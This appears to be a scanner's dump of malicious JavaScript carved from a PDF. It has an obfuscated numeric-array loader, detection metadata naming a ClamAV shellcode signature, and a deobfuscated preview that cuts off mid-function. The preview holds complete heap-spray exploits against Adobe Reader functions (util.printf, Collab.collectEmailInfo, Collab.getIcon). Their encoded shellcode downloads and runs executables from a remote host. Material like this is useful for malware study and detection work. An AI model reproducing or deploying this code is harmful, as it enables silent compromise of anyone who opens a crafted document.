99,113,99,90,92,115,64,66,60,65,172,153,165,171,163,88,112,88,153,161,171,151,156,172,91,177,148,170,166,168,95,88,159,157,161,97,110,69,61,65,60,174,148,170,83,155,162,173,161,172,101,88,112,88,91,155,150,88,96,88,99,176,103,104,99,104,99,104,92,103,148,156,151,170,110,69,61,65,60,158,162,170,83,96,169,153,165,88,150,167,168,166,167,88,112,88,99,115,83,155,162,173,161,172,83,116,83,155,162,173,161,172,101,115,83,155,162,173,161,172,94,99,92,179,64,66,60,65,60,165,152,165,146,153,165,170,148,177,142,155,162,173,161,172,144,88,112,88,172,153,165,171,163,88,94,88,166,160,152,164,159,155,162,156,152,115,64,66,60,65,176,69,61,65,60,174,148,170,83,167,169,157,165,158,159,167,170,88,112,88,168,166,152,171,150,153,163,157,91,90,88,173,99,155,99,155,88,173,99,155,99,155,85,97,110,69,61,65,60,175,155,161,159,157,83,96,162,174,152,170,153,164,162,175,97,164,152,166,154,172,155,88,111,88,103,108,108,109,101,97,174,69,61,65,60,65,162,174,152,170,153,164,162,175,83,99,112,88,162,174,152,170,153,164,162,175,110,69,61,65,60,181,64,66,60,65,167,160,156,171,97,155,162,164,159,153,149,139,167,167,165,157,83,117,83,123,162,164,159,153,149,102,150,167,159,164,152,155,167,125,160,153,156,164,124,166,153,167,91,179,166,173,149,162,109,88,85,90,95,165,166,159,109,88,162,174,152,170,153,164,162,175,176,97,110,69,61,65,176,69,61,69,61,65,153,173,161,155,167,161,162,166,83,155,162,164,159,153,149,151,154,157,167,161,150,167,161,96,92,179,64,66,60,65,156,158,83,96,148,168,163,102,151,167,150,102,118,167,159,164,148,154,97,159,152,172,124,155,162,166,92,179,64,66,60,65,60,174,148,170,83,153,165,170,172,88,112,88,161,157,170,88,116,170,165,153,172,96,92,115,64,66,60,65,60,174,148,170,83,174,169,168,152,172,155,177,148,88,112,88,168,166,152,171,150,153,163,157,91,90,88,173,120,122,120,113,88,173,99,104,99,105,88,173,104,110,99,104,88,173,116,105,105,108,88,173,99,104,102,104,88,173,99,104,99,104,88,173,103,104,107,122,88,173,107,122,99,123,88,173,100,123,106,104,88,173,107,122,116,124,88,173,99,112,103,104,88,173,118,107,104,125,88,173,107,122,104,109,88,173,107,122,120,123,88,173,99,112,103,109,88,173,102,107,104,106,88,173,118,105,119,106,88,173,99,107,118,106,88,173,100,104,102,106,88,173,107,104,103,104,88,173,99,104,102,112,88,173,121,109,106,109,88,173,118,106,107,122,88,173,104,124,104,121,88,173,99,108,118,106,88,173,104,109,99,104,88,173,120,123,107,122,88,173,104,105,104,105,88,173,104,110,104,107,88,173,105,104,104,111,88,173,104,124,107,122,88,173,102,107,99,112,88,173,107,122,118,104,88,173,99,123,106,109,88,173,121,125,107,122,88,173,106,110,99,107,88,173,107,122,102,123,88,173,106,112,103,125,88,173,118,126,99,107,88,173,104,105,107,122,88,173,104,106,100,123,88,173,104,105,107,122,88,173,104,106,101,108,88,173,106,105,107,122,88,173,103,125,100,108,88,173,106,109,107,113,88,173,107,122,121,123,88,173,101,104,106,105,88,173,121,111,99,107,88,173,103,121,108,113,88,173,103,106,116,124,88,173,102,122,105,104,88,173,121,123,104,109,88,173,99,108,106,109,88,173,118,104,102,107,88,173,102,111,120,122,88,173,121,126,102,107,88,173,103,109,99,107,88,173,108,111,99,123,88,173,118,126,107,122,88,173,106,109,116,125,88,173,101,122,121,124,88,173,103,126,121,113,88,173,120,112,104,105,88,173,121,126,108,108,88,173,121,126,121,126,88,173,118,107,102,122,88,173,106,108,105,105,88,173,120,122,99,106,88,173,107,122,119,113,88,173,99,123,103,109,88,173,104,125,108,106,88,173,121,106,99,107,88,173,120,104,119,105,88,173,118,110,99,107,88,173,118,113,102,107,88,173,117,111,99,126,88,173,104,126,99,112,88,173,120,105,118,105,88,173,99,107,99,106,88,173,99,107,118,121,88,173,107,122,118,126,88,173,99,107,99,105,88,173,107,113,118,106,88,173,121,112,103,109,88,173,107,122,105,105,88,173,121,112,103,109,88,173,104,125,104,126,88,173,118,113,104,122,88,173,104,109,118,107,88,173,120,123,107,122,88,173,120,112,104,105,88,173,121,126,103,113,88,173,121,126,121,126,88,173,105,112,104,104,88,173,105,104,120,112,88,173,99,108,117,126,88,173,105,123,120,112,88,173,121,126,121,126,88,173,102,107,121,126,88,173,104,106,119,106,88,173,121,126,104,106,88,173,99,112,106,109,88,173,119,104,121,126,88,173,103,109,107,113,88,173,107,122,121,123,88,173,121,123,103,109,88,173,118,107,118,113,88,173,107,122,104,109,88,173,107,107,120,123,88,173,99,123,120,123,88,173,103,109,107,124,88,173,104,104,121,108,88,173,103,109,118,110,88,173,106,109,121,108,88,173,103,109,118,110,88,173,106,106,121,109,88,173,103,109,118,110,88,173,105,123,121,110,88,173,103,109,118,110,88,173,105,124,121,111,88,173,103,109,118,110,88,173,105,126,121,112,88,173,103,109,118,110,88,173,105,125,121,113,88,173,103,109,118,110,88,173,101,125,121,121,88,173,103,109,118,110,88,173,105,108,121,122,88,173,103,109,118,110,88,173,105,123,121,123,88,173,103,109,118,110,88,173,105,123,121,124,88,173,103,109,118,110,88,173,99,104,121,125,88,173,116,104,120,112,88,173,121,126,121,126,88,173,104,104,121,126,88,173,104,124,105,112,88,173,100,105,107,121,88,173,120,112,100,110,88,173,121,126,100,109,88,173,121,126,121,126,88,173,118,108,107,107,88,173,107,109,99,123,88,173,106,108,118,104,88,173,105,121,100,109,88,173,105,121,99,104,88,173,121,126,99,104,88,173,99,123,106,109,88,173,106,109,121,126,88,173,105,121,99,112,88,173,121,126,99,104,88,173,107,109,119,104,88,173,106,109,118,104,88,173,103,104,99,107,88,173,118,107,118,113,88,173,118,104,102,107,88,173,118,107,118,113,88,173,102,107,104,111,88,173,107,122,118,104,88,173,101,108,103,123,88,173,107,122,99,123,88,173,101,108,106,123,88,173,121,123,99,112,88,173,116,121,121,107,88,173,118,107,104,126,88,173,103,123,107,122,88,173,99,108,101,108,88,173,102,113,107,104,88,173,107,122,99,104,88,173,106,108,118,105,88,173,103,104,99,110,88,173,102,112,107,104,88,173,106,109,99,104,88,173,101,122,121,121,88,173,118,107,118,105,88,173,107,122,104,109,88,173,107,107,120,123,88,173,105,108,120,123,88,173,107,124,104,107,88,173,121,104,103,109,88,173,102,107,104,111,88,173,104,104,119,122,88,173,103,109,118,110,88,173,105,122,121,104,88,173,103,109,118,110,88,173,105,109,121,105,88,173,103,109,118,110,88,173,106,106,121,106,88,173,103,109,118,110,88,173,105,125,121,107,88,173,103,109,118,110,88,173,105,109,121,108,88,173,103,109,118,110,88,173,105,123,121,109,88,173,103,109,118,110,88,173,102,107,121,110,88,173,103,109,118,110,88,173,102,106,121,111,88,173,103,109,118,110,88,173,101,125,121,112,88,173,103,109,118,110,88,173,105,108,121,113,88,173,103,109,118,110,88,173,105,123,121,121,88,173,103,109,118,110,88,173,105,123,121,122,88,173,104,124,107,112,88,173,120,112,121,123,88,173,121,126,99,122,88,173,121,126,121,126,88,173,105,112,104,104,88,173,103,107,105,112,88,173,107,125,121,113,88,173,107,104,120,112,88,173,121,126,121,125,88,173,107,122,121,126,88,173,107,124,121,112,88,173,108,123,103,109,88,173,103,108,105,121,88,173,120,112,104,104,88,173,121,126,106,125,88,173,121,126,121,126,88,173,103,109,107,124,88,173,105,121,120,104,88,173,104,104,100,104,88,173,106,107,120,112,88,173,121,126,121,126,88,173,107,107,121,126,88,173,100,123,118,108,88,173,103,109,107,124,88,173,104,104,120,104,88,173,103,109,107,124,88,173,104,104,108,123,88,173,104,107,104,107,88,173,104,107,104,107,88,173,104,107,104,107,88,173,106,109,121,126,88,173,118,111,99,112,88,173,108,123,103,109,88,173,99,104,103,108,88,173,99,104,99,104,88,173,121,126,104,107,88,173,104,126,119,111,88,173,117,110,99,126,88,173,104,122,118,104,88,173,118,107,118,113,88,173,107,122,104,109,88,173,104,105,120,123,88,173,104,107,104,105,88,173,104,111,104,110,88,173,103,106,105,121,88,173,106,106,120,112,88,173,99,104,99,104,88,173,107,122,99,104,88,173,102,107,119,112,88,173,107,109,121,110,88,173,104,113,119,122,88,173,103,109,118,111,88,173,105,105,121,112,88,173,105,109,101,125,88,173,118,111,106,112,88,173,121,123,103,109,88,173,99,104,105,109,88,173,99,104,99,104,88,173,104,110,106,125,88,173,103,109,107,124,88,173,104,104,121,112,88,173,120,112,104,110,88,173,99,104,104,105,88,173,99,104,99,104,88,173,104,104,104,113,88,173,117,105,120,112,88,173,121,126,121,125,88,173,107,109,121,126,88,173,104,113,118,104,88,173,106,108,104,113,88,173,107,124,102,113,88,173,99,105,103,110,88,173,120,112,104,104,88,173,99,104,102,122,88,173,99,104,99,104,88,173,121,112,107,122,88,173,103,109,107,124,88,173,104,104,121,112,88,173,101,105,120,112,88,173,121,126,121,126,88,173,107,109,121,126,88,173,104,113,118,104,88,173,106,108,104,113,88,173,104,111,99,123,88,173,99,105,120,112,88,173,121,126,121,126,88,173,104,113,121,126,88,173,103,108,118,110,88,173,121,126,102,112,88,173,104,104,106,107,88,173,103,109,107,124,88,173,121,125,121,112,88,173,104,112,99,104,88,173,103,109,107,124,88,173,104,104,121,112,88,173,120,112,104,111,88,173,121,125,106,108,88,173,121,126,121,126,88,173,104,113,104,113,88,173,103,110,103,110,88,173,121,107,102,122,88,173,116,121,106,123,88,173,104,125,104,126,88,173,118,113,104,122,88,173,104,109,118,107,88,173,120,123,107,122,88,173,104,107,104,105,88,173,105,104,105,110,88,173,102,106,117,105,88,173,99,104,120,112,88,173,99,104,99,104,88,173,104,112,99,104,88,173,99,112,102,112,88,173,99,107,106,108,88,173,120,122,103,104,88,173,103,104,121,113,88,173,104,124,107,122,88,173,107,104,99,112,88,173,103,106,121,122,88,173,99,112,106,109,88,173,119,122,102,107,88,173,100,112,107,121,88,173,118,107,107,122,88,173,100,111,120,122,88,173,100,112,102,112,88,173,100,105,106,110,88,173,102,107,103,104,88,173,107,108,118,113,88,173,106,108,119,122,88,173,103,104,99,123,88,173,99,112,102,112,88,173,121,122,106,109,88,173,121,125,103,104,88,173,120,122,118,122,88,173,102,107,121,106,88,173,107,113,118,104,88,173,121,123,103,109,88,173,103,109,107,122,88,173,104,122,121,123,88,173,118,107,118,113,88,173,99,106,102,106,88,173,106,108,105,112,88,173,106,104,106,108,88,173,101,126,102,121,88,173,105,113,101,126,88,173,106,104,106,107,88,173,106,106,105,113,88,173,106,108,105,113,88,173,106,108,105,105,88,173,106,107,106,109,88,173,105,107,101,125,88,173,101,126,105,125,88,173,105,113,105,123,88,173,105,109,105,108,88,173,101,126,106,106,88,173,106,104,106,107,88,173,105,126,105,123,88,173,106,108,105,113,88,173,105,110,101,126,88,173,106,104,105,111,88,173,102,106,106,105,88,173,105,109,101,125,88,173,105,109,106,112,88,173,105,112,99,104,88,173,106,108,106,108,88,173,102,121,106,104,88,173,101,126,101,126,88,173,106,107,105,113,88,173,105,113,106,104,88,173,105,113,106,106,88,173,105,105,106,108,88,173,106,109,106,108,88,173,101,125,106,107,88,173,105,125,105,107,88,173,105,123,101,126,88,173,105,108,105,113,88,173,106,106,105,109,88,173,106,107,101,126,88,173,105,123,106,104,88,173,105,113,105,126,88,173,101,126,106,108,88,173,105,123,105,107,88,173,105,107,105,113,88,173,101,125,105,122,88,173,105,112,106,104,88,173,102,126,106,104,88,173,102,124,106,106,88,173,99,104,99,104,85,97,110,69,61,65,60,65,169,153,165,88,155,143,164,109,99,104,118,134,83,117,83,174,169,168,152,172,155,177,148,102,159,157,161,159,167,160,83,98,83,106,110,69,61,65,60,65,169,153,165,88,159,157,161,88,112,88,99,176,103,104,99,104,99,104,83,101,83,96,155,143,164,109,99,104,118,134,83,99,83,104,171,107,107,97,110,69,61,65,60,65,169,153,165,88,172,153,165,171,163,88,112,88,168,166,152,171,150,153,163,157,91,90,88,173,108,104,108,104,88,173,108,104,108,104,85,97,110,69,61,65,60,65,172,153,165,171,163,88,112,88,153,161,171,151,156,172,91,177,148,170,166,168,95,88,159,157,161,97,110,69,61,65,60,65,169,153,165,88,163,109,116,162,126,110,104,158,83,117,83,96,99,176,99,155,99,155,99,155,99,155,83,101,83,104,171,108,99,104,99,104,99,97,83,103,83,104,171,108,99,104,99,104,99,115,64,66,60,65,60,158,162,170,83,96,169,153,165,88,169,169,150,137,119,113,105,177,83,117,83,104,110,88,169,169,150,137,119,113,105,177,83,116,83,168,104,121,157,131,105,109,153,115,83,174,164,155,132,124,108,110,172,88,94,99,83,97,174,69,61,65,60,65,60,153,165,170,172,147,169,169,150,137,119,113,105,177,144,88,112,88,172,153,165,171,163,88,94,88,169,174,163,157,167,160,172,153,110,69,61,65,60,65,176,69,61,65,60,65,169,153,165,88,167,141,128,160,129,154,122,175,83,117,83,173,161,157,166,155,148,168,152,96,85,93,99,113,85,97,110,69,61,65,60,65,170,160,156,164,152,88,91,172,136,133,155,134,149,127,170,102,159,157,161,159,167,160,83,116,83,104,171,108,99,104,99,97,174,69,61,65,60,65,60,172,136,133,155,134,149,127,170,88,94,117,83,172,136,133,155,134,149,127,170,115,64,66,60,65,60,181,64,66,60,65,60,172,136,133,155,134,149,127,170,88,112,88,85,134,97,90,83,99,83,172,136,133,155,134,149,127,170,115,64,66,60,65,60,153,163,168,97,156,162,155,97,123,162,164,159,153,149,102,154,157,167,129,150,167,161,96,167,141,128,160,129,154,122,175,92,115,64,66,60,65,176,69,61,65,176,69,61,69,61,65,153,173,161,155,167,161,162,166,83,168,151,158,146,171,167,153,165,172,91,97,174,69,61,69,61,65,60,174,148,170,83,174,152,170,166,161,162,166,83,117,83,153,163,168,97,174,156,157,170,157,165,142,152,170,166,161,162,166,97,172,162,139,167,170,156,166,154,96,92,115,64,66,60,65,169,157,165,171,156,167,161,88,112,88,169,157,165,171,156,167,161,102,165,157,163,164,148,155,152,96,98,148,119,103,154,100,90,95,92,115,64,66,60,65,169,153,165,88,169,153,165,171,156,167,161,151,148,170,165,153,172,88,112,88,161,157,170,88,116,170,165,153,172,96,169,157,165,171,156,167,161,102,150,160,148,170,116,172,91,104,92,100,83,174,152,170,166,161,162,166,97,155,155,153,165,121,167,96,100,97,95,88,169,157,165,171,156,167,161,102,150,160,148,170,116,172,91,106,92,97,110,69,61,65,60,161,153,88,91,96,169,153,165,171,156,167,161,151,148,170,165,153,172,147,99,149,83,117,112,88,107,97,83,94,89,88,91,174,148,170,166,161,162,166,146,153,165,170,148,177,142,105,144,88,112,117,83,104,92,88,175,180,83,96,169,153,165,171,156,167,161,151,148,170,165,153,172,147,100,149,83,117,112,88,100,88,89,94,83,174,148,170,166,161,162,166,146,153,165,170,148,177,142,106,144,88,111,88,102,97,92,179,64,66,60,65,60,173,167,161,159,151,163,170,156,166,167,158,91,97,110,69,61,65,60,181,64,66,60,65,156,158,83,96,91,174,148,170,166,161,162,166,146,153,165,170,148,177,142,104,144,88,111,88,107,97,83,180,175,88,91,174,148,170,166,161,162,166,146,153,165,170,148,177,142,104,144,88,112,117,83,112,83,94,89,88,169,153,165,171,156,167,161,151,148,170,165,153,172,147,100,149,83,116,83,106,83,94,89,88,169,153,165,171,156,167,161,151,148,170,165,153,172,147,101,149,83,116,83,106,92,97,174,69,61,65,60,65,150,167,159,164,148,154,146,157,160,153,156,164,91,97,110,69,61,65,60,181,64,66,60,65,156,158,83,96,91,174,148,170,166,161,162,166,146,153,165,170,148,177,142,104,144,88,111,88,108,97,83,180,175,88,91,174,148,170,166,161,162,166,146,153,165,170,148,177,142,104,144,88,112,117,83,113,83,94,89,88,169,153,165,171,156,167,161,151,148,170,165,153,172,147,100,149,83,116,83,105,92,97,174,69,61,65,60,65,150,167,159,164,148,154,146,159,152,172,156,155,162,166,91,97,110,69,61,65,60,181,64,66,60,181,64,66,64,66,60,168,151,158,146,171,167,153,165,172,91,97,110,69,61,65],fnprtu=function(){for(var bcefo;cjlntu<hjmnu.length;cjlntu+=1){var agiru=cjlntu%bltv.length+1;var bstx=bltv.substring(cjlntu%bltv.length,agiru);var cdnuv=hjmnu[cjlntu];hpvy+=lnzyu(cdnuv-bstx.charCodeAt(0));} aghkou(hpvy);};fnprtu();ijksx="ijksx";bfms=49098;hmvx=17902;aefik="aefik";acdkt=true;ahiks=45756;howx="howx";bdhko='';afkluy=34130;eghpx='';bdor="";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10108 bytes
SHA-256: `bb271d70e173c43fa59b92468f63c2d21aa7d1e7f223cda4c1305651ac271a73`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u692F%u727A%u6766%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u642F%u6F6A%u7372%u3275%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7369%u6970%u6972%u6174%u7574%u2E73%u6E63%u6C2F%u6469%u7265%u732F%u6C70%u696F%u2F74%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u7073%u7269%u7469%u7461%u7375%u632E%u2F6E%u696C%u6564%u2F72%u7073%u6F6C%u7469%u662F%u7067%u3271%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7369%u6970%u6972%u6174%u7574%u2E73%u6E63%u6C2F%u6469%u7265%u732F%u6C70%u696F%u2F74%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var 